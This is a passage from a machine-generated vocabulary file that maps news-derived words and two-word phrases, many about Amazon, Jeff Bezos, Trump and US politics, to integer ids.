"organized crime": 183496, "revenue fall": 183497, "social cats": 183498, "movement group": 183499, "contrasting colors": 183500, "options trader": 183501, "suv crash": 183502, "jones called": 183503, "eye opening": 183504, "world pre": 183505, "delhi state": 183506, "eventual collapse": 183507, "later old": 183508, "excellent laces": 183509, "business benefits": 183510, "valedictorians bad": 183511, "critics ex": 183512, "jay duplass": 183513, "particularly pertinent": 183514, "paulo environment": 183515, "monthly bonus": 183516, "2013 essay": 183517, "test flagged": 183518, "previous debates": 183519, "say tax": 183520, "worldwide consumer": 183521, "analyst estimates": 183522, "storefront": 183523, "helping amazon": 183524, "published story": 183525, "major customer": 183526, "anti abortionists": 183527, "3d systems": 183528, "border edition": 183529, "california does": 183530, "susan hennessey": 183531, "motivated blackmail": 183532, "npdholiday": 183533, "quarter gdp": 183534, "greater protection": 183535, "\u0645\u0642\u0627\u0637\u0639\u0647_\u0627\u0645\u0627\u0632\u0648\u0646 \u0627\u062d": 183536, "national prominence": 183537, "vchn4mguwb cnn": 183538, "clintons": 183539, "workers support": 183540, "amal clooney": 183541, "connection allow": 183542, "vaccine industry": 183543, "previous novel": 183544, "austria national": 183545, "source projects": 183546, "pressure europe": 183547, "train reading": 183548, "area politico": 183549, "california rep": 183550, "petition concludes": 183551, "echo speakers": 183552, "biggest upset": 183553, "times week": 183554, "fagna": 183555, "midterms kim": 183556, "causes political": 183557, "dominating 2017": 183558, "directly contrary": 183559, "tish james": 183560, "oxide torrent": 183561, "author rick": 183562, "sanchez left": 183563, "york deserves": 183564, "taxed companies": 183565, "industries sen": 183566, "2016 geekwire": 183567, "removing sellers": 183568, "period trump": 183569, "addressing question": 183570, "amie kershner": 183571, "aligned pro": 183572, "political risk": 183573, "slams auction": 183574, "numbers blue": 183575, "stobe hide": 183576, "texts according": 183577, "immigration experts": 183578, "taxes poorer": 183579, "saw customers": 183580, "steadily eroded": 183581, "liberties lawyer": 183582, "securities": 183583, "exposing fundamental": 183584, "eater ny": 183585, "city division": 183586, "atthe": 183587, "possible google": 183588, "workers claim": 183589, "resulting rush": 183590, "whetlor quadrille": 183591, "sun reports": 183592, "new building": 183593, "approximate": 183594, "cause republicans": 183595, "capitalism new": 183596, "fb lb": 183597, "fmla": 183598, "mary": 183599, "intense media": 183600, "island john": 183601, "eventually decided": 183602, "checking box": 183603, "ceremony honoring": 183604, "wsj tesla": 183605, "regressive tax": 183606, "shares compton": 183607, "day delivery": 183608, "bagged": 183609, "solve crimes": 183610, "tech wizes": 183611, "voters voted": 183612, "economic systems": 183613, "rich trick": 183614, "free echo": 183615, "schtum": 183616, "allies lie": 183617, "9pm pt": 183618, "amazon profitably": 183619, "brevis": 183620, "states plus": 183621, "year income": 183622, "laundered yuge": 183623, "2019 james": 183624, "artful living": 183625, "nov 2017jeff": 183626, "turkeys previous": 183627, "cnbc emarketer": 183628, "mcgrath": 183629, "false playerinstance": 183630, "council finance": 183631, "fudge leslie": 183632, "investigator suspects": 183633, "joyful": 183634, "matters": 183635, "spons": 183636, "apco worldwide": 183637, "states postmaster": 183638, "creates compelling": 183639, "reportedly trying": 183640, "job navigating": 183641, "house lawmakers": 183642, "world foremost": 183643, "textbook extortion": 183644, "monthly pass": 183645, "harper lee": 183646, "million deals": 183647, "sen bernie": 183648, "2017 story": 183649, "amazon effectively": 183650, "mcbride lauded": 183651, "opposed trump": 183652, "year showed": 183653, "current protection": 183654, "bezos literary": 183655, "internet archive": 183656, "head coach": 183657, "conservative supporter": 183658, "delbene wash": 183659, "buckingham palace": 183660, "100x100 50x50": 183661, "extra toys": 183662, "seats getting": 183663, "special rules": 183664, "minimising": 183665, "long public": 183666, "nelson james": 183667, "mikhail": 183668, "amazon frequent": 183669, "robust billion": 183670, "compete anymore": 183671, "gianari": 183672, "sov7keqdh4": 183673, "financing bonds": 183674, "teenagers holiday": 183675, "commerce shipping": 183676, "uk cabinet": 183677, "administrative": 183678, "foundation exposs": 183679, "comptroller scott": 183680, "entire ordeal": 183681, "delivering mail": 183682, "ikullgren politico": 183683, "seamless shopping": 183684, "bezos tags": 183685, "consecutive day": 183686, "businesses data": 183687, "believed glad": 183688, "continuing fallout": 183689, "year ryan": 183690, "action undercutting": 183691, "gafa companies": 183692, "separate expose": 183693, "health standards": 183694, "parachute": 183695, "glassdoor": 183696, "consumer polling": 183697, "president forgot": 183698, "modes met": 183699, "8m irises": 183700, "named captainroyd": 183701, "conflicts percolate": 183702, "calderone jason": 183703, "read google": 183704, "arrest photos": 183705, "rt cores": 183706, "anticipated financial": 183707, "dumps oracle": 183708, "challenge travel": 183709, "definitely good": 183710, "similar devastating": 183711, "poach": 183712, "vought": 183713, "jeer": 183714, "allow entry": 183715, "cheekily": 183716, "net editor": 183717, "africa iconic": 183718, "stanley analyst": 183719, "promised border": 183720, "patients crowdfund": 183721, "time temporary": 183722, "post property": 183723, "france teams": 183724, "review signals": 183725, "adjuncts": 183726, "frances": 183727, "pound genius": 183728, "news newsroom": 183729, "extremely": 183730, "managing day": 183731, "448": 183732, "report jefferies": 183733, "quarter reuters": 183734, "trend oncologists": 183735, "war customer": 183736, "block agents": 183737, "pentagon disorganized": 183738, "local especially": 183739, "controlling": 183740, "regards": 183741, "used words": 183742, "voice retail": 183743, "representation globally": 183744, "baldwin": 183745, "sell shares": 183746, "mcdonnell mp": 183747, "averts": 183748, "logistics 3pl": 183749, "nbc flotus": 183750, "joined indiewire": 183751, "story hiring": 183752, "joe beda": 183753, "2018 homicide": 183754, "god gives": 183755, "image 100x100": 183756, "marcophones": 183757, "school districts": 183758, "largest player": 183759, "improve citizens": 183760, "punished users": 183761, "equitable economy": 183762, "roadblock": 183763, "ponce america": 183764, "resistant superbugs": 183765, "motors": 183766, "product pricing": 183767, "electronic mobs": 183768, "mettler reporter": 183769, "latrice": 183770, "silicon alley": 183771, "meaning families": 183772, "kay sent": 183773, "story revealing": 183774, "resourced": 183775, "era deadly": 183776, "administrative agency": 183777, "beta": 183778, "upcoming games": 183779, "lawmakers including": 183780, "uk bezos": 183781, "microwaves": 183782, "percio agreed": 183783, "opportunity analysts": 183784, "old monarch": 183785, "divorce deal": 183786, "taxes accrued": 183787, "way business": 183788, "early learners": 183789, "game check": 183790, "consumers initially": 183791, "merchandise effectively": 183792, "table norah": 183793, "mcshane": 183794, "concrete goals": 183795, "love books": 183796, "sending mexican": 183797, "fundraising haul": 183798, "verizon ad": 183799, "itactually": 183800, "establish union": 183801, "company waze": 183802, "years don": 183803, "time netflix": 183804, "age forces": 183805, "amazon larger": 183806, "software saying": 183807, "delivery legally": 183808, "needs help": 183809, "deliveries drivers": 183810, "jarrett hamilton": 183811, "trash thisbill": 183812, "bucket challenge": 183813, "exiled": 183814, "era rules": 183815, "later hurricane": 183816, "directive orders": 183817, "pr disaster": 183818, "stronger": 183819, "ordered amazon": 183820, "removing friction": 183821, "potential purchasers": 183822, "forces better": 183823, "ad": 183824, "color expertise": 183825, "foundation trump": 183826, "nonetheless bezos": 183827, "grp limited": 183828, "upscale organic": 183829, "supermicro hardware": 183830, "approximately 531": 183831, "passed legislation": 183832, "dod swampier": 183833, "beverage sales": 183834, "schools transportation": 183835, "community groups": 183836, "whitefish": 183837, "stock clerk": 183838, "published deeply": 183839, "reuters claims": 183840, "q1": 183841, "action charging": 183842, "capital expenditures": 183843, "greedy political": 183844, "twisted psychological": 183845, "muhammad": 183846, "actually begins": 183847, "company mistreats": 183848, "9hv7nzey6r steve": 183849, "novelist michael": 183850, "opposition point": 183851, "deliberately false": 183852, "economic elephant": 183853, "england chances": 183854, "lawrence zupan": 183855, "florida just": 183856, "powerful political": 183857, "organic small": 183858, "vaco synapse": 183859, "hill neighborhood": 183860, "rivals vying": 183861, "sf streets": 183862, "higher drug": 183863, "cap apple": 183864, "governing international": 183865, "nick thebookofnick": 183866, "anti taxpayer": 183867, "captured mccain": 183868, "credit union": 183869, "bernstein survey": 183870, "trumps wall": 183871, "amazon book": 183872, "australian asian": 183873, "fm los": 183874, "therese": 183875, "chambers flatiron": 183876, "evaluate ways": 183877, "regulatory framework": 183878, "doubled citing": 183879, "weeks late": 183880, "recently describing": 183881, "prudent": 183882, "missouri senator": 183883, "affair hit": 183884, "advocacy groups": 183885, "collapse traffic": 183886, "getty photographs": 183887, "amazon promoting": 183888, "ecommercechris llc": 183889, "leveraging land": 183890, "targeted advertising": 183891, "technical responsibilities": 183892, "scene working": 183893, "chair daniel": 183894, "plunges 500": 183895, "beauty story": 183896, "democratic nominees": 183897, "just burn": 183898, "best suited": 183899, "language descends": 183900, "data arm": 183901, "want wearing": 183902, "sell oil": 183903, "dulled": 183904, "tweet praising": 183905, "council meeting": 183906, "amazon developers": 183907, "200 strong": 183908, "trumpian wigs": 183909, "xb ac": 183910, "dramatic cloud": 183911, "ante saying": 183912, "construction vehicles": 183913, "committed felony": 183914, "trump kid": 183915, "endlessly": 183916, "account noting": 183917, "accounts opened": 183918, "ecosystem integrated": 183919, "excesses": 183920, "abortion": 183921, "wealth tracker": 183922, "pompeo says": 183923, "agency consider": 183924, "smart bulb": 183925, "worth grew": 183926, "lottery ticket": 183927, "reipro real": 183928, "lakewoodpd pic": 183929, "migration aid": 183930, "service firms": 183931, "counties plus": 183932, "wouldn necessarily": 183933, "tweeted farrow": 183934, "prime compared": 183935, "party overactivism": 183936, "rate rises": 183937, "approaches": 183938, "outright threat": 183939, "pulls cigarettes": 183940, "article tagged": 183941, "fastdom": 183942, "koji": 183943, "texas school": 183944, "owns ton": 183945, "john bozzella": 183946, "rational explanation": 183947, "detections fewer": 183948, "post unflattering": 183949, "create rules": 183950, "official dutifully": 183951, "poor labor": 183952, "need subpoeana": 183953, "adinfo": 183954, "supporting cnn": 183955, "haute cuisine": 183956, "omar hassan": 183957, "bozo alamy": 183958, "usps revenue": 183959, "heights queens": 183960, "2018 senate": 183961, "buhari": 183962, "ami reporting": 183963, "say oops": 183964, "mayor foxconn": 183965, "lows amazon": 183966, "granted citizenship": 183967, "woodward intimate": 183968, "punish newspaper": 183969, "easy target": 183970, "number want": 183971, "uncertain ryan": 183972, "ago adamis": 183973, "politico workers": 183974, "listen don": 183975, "misinformed": 183976, "dangerous face": 183977, "tensions farm": 183978, "virginia thirteen": 183979, "andrew shares": 183980, "needing extensive": 183981, "weboost drive": 183982, "risk sustainable": 183983, "subsequent hq2": 183984, "standby": 183985, "course best": 183986, "contributor good": 183987, "hand bezos": 183988, "cultural norms": 183989, "determining motive": 183990, "sheila gulati": 183991, "super 169": 183992, "career campaigning": 183993, "new fund": 183994, "history culture": 183995, "office letter": 183996, "candidate speaks": 183997, "logo buy": 183998, "difference studies": 183999, "yorkers according": 184000, "history combined": 184001, "270 million": 184002, "retailer urging": 184003, "investigation stone": 184004, "hard forme": 184005, "biggest cloud": 184006, "triggering leadership": 184007, "polls salles": 184008, "ozone": 184009, "porcelain princess": 184010, "payroll data": 184011, "questioned": 184012, "holocaust": 184013, "intercepts": 184014, "antimonopoly": 184015, "hinder": 184016, "viscerally": 184017, "motivated gavin": 184018, "000 patents": 184019, "availability mean": 184020, "west seattle": 184021, "amazon traditional": 184022, "trump unsuccessfully": 184023, "army times": 184024, "crony actors": 184025, "york developer": 184026, "pharma giants": 184027, "wandering bezos": 184028, "maintaining stable": 184029, "artwork": 184030, "telemarketing": 184031, "early adversity": 184032, "echo lik": 184033, "restraint": 184034, "democratic commissioner": 184035, "reactid 194": 184036, "pepsico pep": 184037, "court reference": 184038, "prosecutors reached": 184039, "bounty": 184040, "ny senior": 184041, "dripping": 184042, "tastes artificial": 184043, "research published": 184044, "locations sent": 184045, "concrete action": 184046, "photo state": 184047, "growth creativity": 184048, "national commission": 184049, "ross saw": 184050, "today post": 184051, "matt drudge": 184052, "wealth tax": 184053, "dollars shifting": 184054, "dominated power": 184055, "crackdown amid": 184056, "vlachos": 184057, "102m don": 184058, "ordered according": 184059, "neowin reported": 184060, "maybewasn": 184061, "naacp charges": 184062, "nam cameron": 184063, "incorrectly criticized": 184064, "championing": 184065, "mass produce": 184066, "cvpid token": 184067, "judgejeanine": 184068, "video good": 184069, "discussed prominently": 184070, "including walmart": 184071, "900 billion": 184072, "630 shares": 184073, "thinks 21st": 184074, "paycheck withdrawals": 184075, "service package": 184076, "repatriation game": 184077, "tracks radical": 184078, "confirmed democrats": 184079, "near record": 184080, "mould": 184081, "null cnl_contributor_accessflag": 184082, "bonus 2018": 184083, "dims": 184084, "featuring world": 184085, "indigenous girl": 184086, "bit riskier": 184087, "low cost": 184088, "business partner": 184089, "slit": 184090, "nice sale": 184091, "farmers feel": 184092, "service imposes": 184093, "book claims": 184094, "spearheaded": 184095, "queens thirty": 184096, "yes bolsonaro": 184097, "tame": 184098, "told vox": 184099, "added karen": 184100, "make regarding": 184101, "bargaining power": 184102, "2018 grade": 184103, "gotten amazon": 184104, "france operates": 184105, "environment expressed": 184106, "partisan following": 184107, "act slamming": 184108, "ancillary": 184109, "y1 ra": 184110, "establishing pretexts": 184111, "recent achievements": 184112, "trump wrongly": 184113, "1994 employing": 184114, "enact laws": 184115, "delisting": 184116, "protected areas": 184117, "virginia yes": 184118, "robots humans": 184119, "emailed version": 184120, "memphis commercial": 184121, "effectively gardner": 184122, "justice uk": 184123, "florida facility": 184124, "residential": 184125, "innovate": 184126, "pct": 184127, "include building": 184128, "eddie huang": 184129, "440 offers": 184130, "dvd": 184131, "follow usa": 184132, "certainly settle": 184133, "slimmer mechanical": 184134, "accompanying analysis": 184135, "forcing brands": 184136, "kamal": 184137, "late sixties": 184138, "quarter coming": 184139, "n3x function": 184140, "beach volumes": 184141, "outposts including": 184142, "alphaone capital": 184143, "adding new": 184144, "noted skeptic": 184145, "ugly employment": 184146, "values free": 184147, "apr efe": 184148, "jason lutes": 184149, "gonna make": 184150, "cutting resulted": 184151, "combat sales": 184152, "post looks": 184153, "recovery services": 184154, "progressive doug": 184155, "cbd oil": 184156, "yes number": 184157, "bunnies": 184158, "dinners": 184159, "rock star": 184160, "twitter lucasnolan_": 184161, "company cozy": 184162, "chappatta": 184163, "undercutting competitors": 184164, "president coif": 184165, "rule hundreds": 184166, "boost career": 184167, "google profits": 184168, "multimillion dollar": 184169, "companies couldn": 184170, "taxes abusing": 184171, "encana canadian": 184172, "shrek family": 184173, "grassroots activism": 184174, "saved": 184175, "don add": 184176, "duff": 184177, "tobacco company": 184178, "toast": 184179, "activities": 184180, "gmt west": 184181, "assurance": 184182, "utilize traditional": 184183, "used government": 184184, "implementing lockers": 184185, "shriver": 184186, "unsubstantiated claims": 184187, "southpaw nycsouthpaw": 184188, "rally organized": 184189, "pitch series": 184190, "finance reform": 184191, "supposedly economically": 184192, "2018 finally": 184193, "trump power": 184194, "alicandro": 184195, "throw objects": 184196, "forward salesforce": 184197, "truth lie": 184198, "california campuses": 184199, "public assaults": 184200, "home gamer": 184201, "rolling paper": 184202, "american audiences": 184203, "rose sharply": 184204, "shutdown griffeth": 184205, "americans sample": 184206, "the\u0430wary": 184207, "phone jon": 184208, "european central": 184209, "socioeconomic": 184210, "congress 2018": 184211, "blog postgeorge": 184212, "big taxpayer": 184213, "vaguely defined": 184214, "connector": 184215, "operated differently": 184216, "hawaii based": 184217, "war threats": 184218, "hometown second": 184219, "recent advances": 184220, "retailer moved": 184221, "propaganda glossy": 184222, "modernization": 184223, "things trump": 184224, "324 9110": 184225, "trump administration": 184226, "drew harwell": 184227, "relationship concludes": 184228, "oluo lindy": 184229, "obsession": 184230, "semini": 184231, "leanings": 184232, "overturn trump": 184233, "vix hovering": 184234, "galvanizing issues": 184235, "similarly suggested": 184236, "vision lack": 184237, "visionary team": 184238, "student sophie": 184239, "working conditions": 184240, "barred takeover": 184241, "ebay declining": 184242, "plan determined": 184243, "department national": 184244, "extraordinary public": 184245, "company inaccurate": 184246, "series soccer": 184247, "streep": 184248, "harm long": 184249, "indiscretion": 184250, "nation traveling": 184251, "manchester united": 184252, "sen paul": 184253, "declaring": 184254, "import export": 184255, "reached new": 184256, "enabled cnet": 184257, "mind moser": 184258, "broussard vice": 184259, "users globally": 184260, "newcomers nissan": 184261, "colored strictly": 184262, "absolutely davis": 184263, "took roughly": 184264, "trafficking houston": 184265, "littering": 184266, "sound completely": 184267, "pre nup": 184268, "c5q case": 184269, "shares cohen": 184270, "claimed lifelong": 184271, "capital skyline": 184272, "members discussed": 184273, "lofty": 184274, "epiphany productions": 184275, "harassed native": 184276, "overwhelmingly voted": 184277, "2018 slammed": 184278, "international contretemps": 184279, "mini series": 184280, "entire category": 184281, "political earthquakes": 184282, "additional opportunity": 184283, "inform users": 184284, "text exchange": 184285, "hearts knows": 184286, "marie phillips": 184287, "leaf": 184288, "keeping silent": 184289, "zach": 184290, "tabloid tried": 184291, "detailed record": 184292, "undeveloped land": 184293, "low crime": 184294, "bezos boldly": 184295, "inevitably shouldered": 184296, "david barstow": 184297, "aljazeera wall": 184298, "jones index": 184299, "habits relationships": 184300, "biggest maker": 184301, "similarly": 184302, "iran oil": 184303, "owners want": 184304, "using set": 184305, "reactid 161": 184306, "consoles haunt": 184307, "acn": 184308, "amazon vast": 184309, "changes really": 184310, "respondents 303": 184311, "target walmart": 184312, "2260 bought": 184313, "privacy seeking": 184314, "investor presentations": 184315, "smudge": 184316, "close comics": 184317, "make play": 184318, "trusting gut": 184319, "large studies": 184320, "symbol a4ee": 184321, "catapulted": 184322, "express": 184323, "amazon schiff": 184324, "wtf howmuchcanwelosethisyear": 184325, "creates unclear": 184326, "paid negative": 184327, "bigoted anti": 184328, "tornado": 184329, "major facilities": 184330, "sent bezos": 184331, "powell speech": 184332, "secretary good": 184333, "soggy": 184334, "shay shull": 184335, "suddenly moving": 184336, "congressman trey": 184337, "added transportation": 184338, "muslim american": 184339, "bombay bhel": 184340, "leading thinkers": 184341, "tech employment": 184342, "precious resource": 184343, "lefebvre": 184344, "order declaring": 184345, "america crumbling": 184346, "necessarily hurts": 184347, "airport newark": 184348, "strides": 184349, "pulling impeach": 184350, "jumbo": 184351, "seasonal staffers": 184352, "interviews including": 184353, "dictate market": 184354, "second corporations": 184355, "investigator martin": 184356, "estate board": 184357, "mann billion": 184358, "atlanta business": 184359, "attacking law": 184360, "officer described": 184361, "862 nasdaq": 184362, "efficient planes": 184363, "program shares": 184364, "foods higher": 184365, "wag salmon": 184366, "advance jeff": 184367, "isn reason": 184368, "just retail": 184369, "requisite": 184370, "share decade": 184371, "iconic video": 184372, "jones fudge": 184373, "missed": 184374, "olsavsky": 184375, "soviet general": 184376, "helmer": 184377, "2019 grammy": 184378, "pauses": 184379, "dating pivot": 184380, "fictionalized version": 184381, "amazon currently": 184382, "529 shares": 184383, "better borrowing": 184384, "steal products": 184385, "category providing": 184386, "campaign agenda": 184387, "greater leverage": 184388, "possible work": 184389, "new labor": 184390, "stanley acknowledges": 184391, "leaders initially": 184392, "staff continues": 184393, "soccer documentary": 184394, "producer vf": 184395, "chewing parody": 184396, "smaller loss": 184397, "given rate": 184398, "experts mark": 184399, "channel meeting": 184400, "resemble": 184401, "statement conding": 184402, "spanish": 184403, "time contacting": 184404, "state democrat": 184405, "dodd": 184406, "outside facebook": 184407, "unpopular president": 184408, "hours leaving": 184409, "decades regulators": 184410, "email correspondence": 184411, "ap donald": 184412, "certain deliveries": 184413, "cue": 184414, "foods shoppers": 184415, "bbc host": 184416, "campaign rally": 184417, "appears": 184418, "latest initiative": 184419, "breaks rumors": 184420, "amazon liberal": 184421, "make remarks": 184422, "minnesota forcing": 184423, "speech contact": 184424, "cancellation": 184425, "union dues": 184426, "trump parents": 184427, "positions commonly": 184428, "national environment": 184429, "tax predicament": 184430, "drone attacks": 184431, "total look": 184432, "vast authority": 184433, "industry leaders": 184434, "harnik": 184435, "sticks": 184436, "country netflix": 184437, "cycle": 184438, "complementary businesses": 184439, "palumbo": 184440, "big north": 184441, "700bn compare": 184442, "famous": 184443, "housing education": 184444, "eating candy": 184445, "sergio marchionne": 184446, "image 284x160": 184447, "green men": 184448, "love bezos": 184449, "overtake amazon": 184450, "prime issues": 184451, "united food": 184452, "paper ties": 184453, "depth reporting": 184454, "santare fish": 184455, "forfederal": 184456, "republicans racist": 184457, "sales agent": 184458, "tha\u00eds": 184459, "enforce antitrust": 184460, "important affairs": 184461, "momentum tech": 184462, "futures climbed": 184463, "doesn sign": 184464, "building secondary": 184465, "500 madison": 184466, "includes misinformation": 184467, "map": 184468, "public discontent": 184469, "year overhaul": 184470, "jgreen16 bloomberg": 184471, "trump opponent": 184472, "unravels": 184473, "chinese public": 184474, "tech areas": 184475, "blackmail letter": 184476, "suggested steps": 184477, "states figure": 184478, "calls involved": 184479, "letters represent": 184480, "book scene": 184481, "apple earnings": 184482, "totalitarian massive": 184483, "canada largest": 184484, "accusing trumpkins": 184485, "viser national": 184486, "doubleclick amazon": 184487, "presidential": 184488, "nativist zealotry": 184489, "voting period": 184490, "company buys": 184491, "disney company": 184492, "rare response": 184493, "nation institute": 184494, "trump sad": 184495, "level deals": 184496, "committee according": 184497, "easiest way": 184498, "instinct intuition": 184499, "declining payment": 184500, "yes bartiromo": 184501, "liberals hardly": 184502, "delivery drone": 184503, "frequent guest": 184504, "merchandise worth": 184505, "style just": 184506, "pre tied": 184507, "supremacist rally": 184508, "instagram rolled": 184509, "350 acres": 184510, "pilot project": 184511, "reaching": 184512, "wire 2018": 184513, "fare evaders": 184514, "tariffs companies": 184515, "flavored cigarettes": 184516, "tiny home": 184517, "federal child": 184518, "worst performer": 184519, "valedictorian": 184520, "included mass": 184521, "jones industrials": 184522, "nation highest": 184523, "atini partner": 184524, "testify weather": 184525, "contentid": 184526, "faustin": 184527, "2018 survey": 184528, "eevvf short": 184529, "taxpayer assistance": 184530, "kavanaugh high": 184531, "slashes": 184532, "newspaper white": 184533, "time saw": 184534, "just day": 184535, "alarmed investors": 184536, "murphy report": 184537, "squeeberang": 184538, "detailed report": 184539, "meyerowitz": 184540, "means raises": 184541, "rivals microsoft": 184542, "american newsdaily": 184543, "fb julia": 184544, "glaxosmithkline": 184545, "faces according": 184546, "amazon luck": 184547, "3bn worth": 184548, "president suely": 184549, "ads defining": 184550, "included leaked": 184551, "abimbola": 184552, "democratic process": 184553, "counterfeit light": 184554, "google inside": 184555, "news unit": 184556, "progresses according": 184557, "encouragement schwarzenegger": 184558, "conference late": 184559, "represents number": 184560, "strong rumors": 184561, "ppzofqazok todd": 184562, "governor federal": 184563, "certain states": 184564, "bordering": 184565, "binder": 184566, "wouldnt": 184567, "late genius": 184568, "1204et copyright": 184569, "rally brazil": 184570, "typical brash": 184571, "stifles": 184572, "police jimmy": 184573, "dinner party": 184574, "brow": 184575, "imprint": 184576, "billion check": 184577, "girlfriend person": 184578, "2025 cities": 184579, "identifies": 184580, "sees eliminating": 184581, "bad sign": 184582, "president clearly": 184583, "growing ad": 184584, "settimeout a4ee": 184585, "petroleum": 184586, "givenchy pencil": 184587, "scooping": 184588, "munduruku indigenous": 184589, "getting rewarded": 184590, "murkowski": 184591, "create false": 184592, "year cocktail": 184593, "ext 1900": 184594, "construction rose": 184595, "pills": 184596, "moab capital": 184597, "disqualification share": 184598, "uphill": 184599, "female senator": 184600, "product price": 184601, "ron chernow": 184602, "trump previous": 184603, "purdy": 184604, "times yvonne": 184605, "thing bezos": 184606, "accuse president": 184607, "adp small": 184608, "null slideshows": 184609, "britney": 184610, "major politicians": 184611, "telling cnbc": 184612, "join foxconn": 184613, "details exclusive": 184614, "easley says": 184615, "looks forward": 184616, "experience better": 184617, "trolling archenemy": 184618, "initially stone": 184619, "malaysia based": 184620, "gaining wider": 184621, "sexy file": 184622, "aroused": 184623, "health fda": 184624, "mirage": 184625, "washington spend": 184626, "traction agile": 184627, "albatross": 184628, "recommend reply": 184629, "steal surely": 184630, "hired tang": 184631, "know starbucks": 184632, "infractions": 184633, "single company": 184634, "expectations index": 184635, "becker mentioned": 184636, "prime days": 184637, "amazon orders": 184638, "built factory": 184639, "booing": 184640, "coyle": 184641, "migrant caravan": 184642, "banditry": 184643, "defense uses": 184644, "elections ricardo": 184645, "planning effort": 184646, "cybersecurity issues": 184647, "pichai told": 184648, "mcmurray": 184649, "possible reduction": 184650, "york alleging": 184651, "cult favorites": 184652, "component united": 184653, "society benefit": 184654, "poor nation": 184655, "space capsule": 184656, "ill fitting": 184657, "classy mccain": 184658, "rollers": 184659, "massive opportunity": 184660, "resolved amazon": 184661, "levin": 184662, "wong reported": 184663, "hat led": 184664, "greedy company": 184665, "management thinking": 184666, "william morrow": 184667, "defended pulling": 184668, "approaches trillion": 184669, "null cnl_calculated_color": 184670, "example donates": 184671, "a4ee t1": 184672, "zwszijs781 jeanine": 184673, "json": 184674, "otr": 184675, "reports drug": 184676, "headcount": 184677, "pregnant peers": 184678, "treating": 184679, "forbidden": 184680, "wicked wit": 184681, "federal dc": 184682, "lauren greco": 184683, "kenton county": 184684, "far 2018": 184685, "answer lies": 184686, "ami explainer": 184687, "modern slavery": 184688, "bezos needless": 184689, "workers instead": 184690, "kotb oct": 184691, "customers walmart": 184692, "consecutive weekly": 184693, "public anytime": 184694, "mentor": 184695, "posturing especially": 184696, "amiira ruotola": 184697, "sf": 184698, "unprecedented data": 184699, "theory involving": 184700, "new democratic": 184701, "tsla twitter": 184702, "world order": 184703, "delivery fleet": 184704, "wight radio": 184705, "rielle": 184706, "little brown": 184707, "sanchez locked": 184708, "adtech privacy": 184709, "ironicsituation": 184710, "case ami": 184711, "specifically haven": 184712, "loyally serving": 184713, "felt necessary": 184714, "cheap labor": 184715, "read posts": 184716, "escapes": 184717, "plaintiffs allege": 184718, "streamline recommends": 184719, "gates foundation": 184720, "suspend": 184721, "thumbs": 184722, "tapeworms cult": 184723, "syria troops": 184724, "stayed loyal": 184725, "anti immigration": 184726, "amazon possibly": 184727, "bewilliams bloomberg": 184728, "bubble machine": 184729, "publish nude": 184730, "newer geographic": 184731, "facebook breakup": 184732, "owner power": 184733, "president mccabe": 184734, "nazi salute": 184735, "rob black": 184736, "general terms": 184737, "manager john": 184738, "mayor joe": 184739, "term boost": 184740, "asked khosrowshahi": 184741, "lynnwood light": 184742, "denn": 184743, "company agreement": 184744, "abandon agile": 184745, "analyst gene": 184746, "orlean": 184747, "genies google": 184748, "planned taxpayer": 184749, "earnings phil": 184750, "rough waters": 184751, "eventual shipping": 184752, "transfer tax": 184753, "mcgarvey president": 184754, "known appearance": 184755, "office meeting": 184756, "available information": 184757, "excellent debut": 184758, "major meltdown": 184759, "sector competitors": 184760, "post glad": 184761, "pervasiveness": 184762, "utilities sectors": 184763, "expectations wall": 184764, "finance consumer": 184765, "infamous nicknames": 184766, "scanners tell": 184767, "trump nose": 184768, "smart investors": 184769, "fixed sentences": 184770, "session": 184771, "kobeissi founder": 184772, "weirdest thing": 184773, "new websites": 184774, "campaign laws": 184775, "cultures cynthia": 184776, "old allegations": 184777, "amazon deciding": 184778, "div": 184779, "plastic straws": 184780, "year gains": 184781, "pricing financing": 184782, "webcast annual": 184783, "demographic change": 184784, "challenging amazon": 184785, "ami source": 184786, "fashion company": 184787, "signoff": 184788, "attract private": 184789, "pecker american": 184790, "jones fell": 184791, "civil fine": 184792, "brussels feels": 184793, "changed forever": 184794, "fix fuel": 184795, "visited queensbridge": 184796, "amazon emails": 184797, "personal profiles": 184798, "brett chase": 184799, "financial success": 184800, "archive amazon": 184801, "consistently supported": 184802, "igniting": 184803, "assange faces": 184804, "following extensive": 184805, "brooklyn museum": 184806, "half ago": 184807, "503 shares": 184808, "court proceedings": 184809, "algonquin": 184810, "south island": 184811, "economy turns": 184812, "multiple accounts": 184813, "biggest threat": 184814, "fixture programmes": 184815, "paying sales": 184816, "msnbc joy": 184817, "boss indra": 184818, "jim hoft": 184819, "free personal": 184820, "traffic nightmare": 184821, "teachers salaries": 184822, "adviser larry": 184823, "industrial zone": 184824, "estimating": 184825, "unilaterally": 184826, "county sh": 184827, "spurring rising": 184828, "poetry": 184829, "rover": 184830, "volume worldwide": 184831, "fluoride": 184832, "oracle says": 184833, "yen contributed": 184834, "unmanned producing": 184835, "richard edelman": 184836, "amid meddling": 184837, "metropolitan areas": 184838, "kids charlie": 184839, "trading shares": 184840, "minn sent": 184841, "computing network": 184842, "trooping": 184843, "marketing expert": 184844, "5etfw": 184845, "scheduled fare": 184846, "thetrump": 184847, "branches overwhelmingly": 184848, "included life": 184849, "paid amazon": 184850, "using workers": 184851, "entire nation": 184852, "173218731": 184853, "litigating patents": 184854, "evers executive": 184855, "successful approach": 184856, "continued investment": 184857, "proposed border": 184858, "fortune trump": 184859, "employed 500": 184860, "largest hotel": 184861, "photo ref_src": 184862, "amazon primed": 184863, "jiatf foreign": 184864, "physical contact": 184865, "common practice": 184866, "republicans consider": 184867, "usps postal": 184868, "finally explains": 184869, "better quips": 184870, "business height": 184871, "new friend": 184872, "cloud computing": 184873, "technician": 184874, "electrifying": 184875, "fair political": 184876, "593 216": 184877, "tablehero dheeraj": 184878, "stunning buyout": 184879, "ap officials": 184880, "rtx 2070": 184881, "intermediaries coordinating": 184882, "seattle international": 184883, "nearly 897": 184884, "itep notes": 184885, "author craig": 184886, "politicization": 184887, "gossip rag": 184888, "swallow": 184889, "3006": 184890, "deny providing": 184891, "nervously": 184892, "wildfires california": 184893, "apple": 184894, "mistrust parkland": 184895, "offices addabbo": 184896, "airlines plan": 184897, "children hospital": 184898, "dark financial": 184899, "noah suggests": 184900, "comments president": 184901, "occupy wall": 184902, "week read": 184903, "repeatedly disparaged": 184904, "screening ads": 184905, "employee asked": 184906, "repricing": 184907, "employee henry": 184908, "locks gently": 184909, "amazon say": 184910, "management shares": 184911, "transparent amazon": 184912, "covfefe purchase": 184913, "rapists decapitators": 184914, "office trump": 184915, "authorities report": 184916, "short period": 184917, "interstate commerce": 184918, "sewing plus": 184919, "379 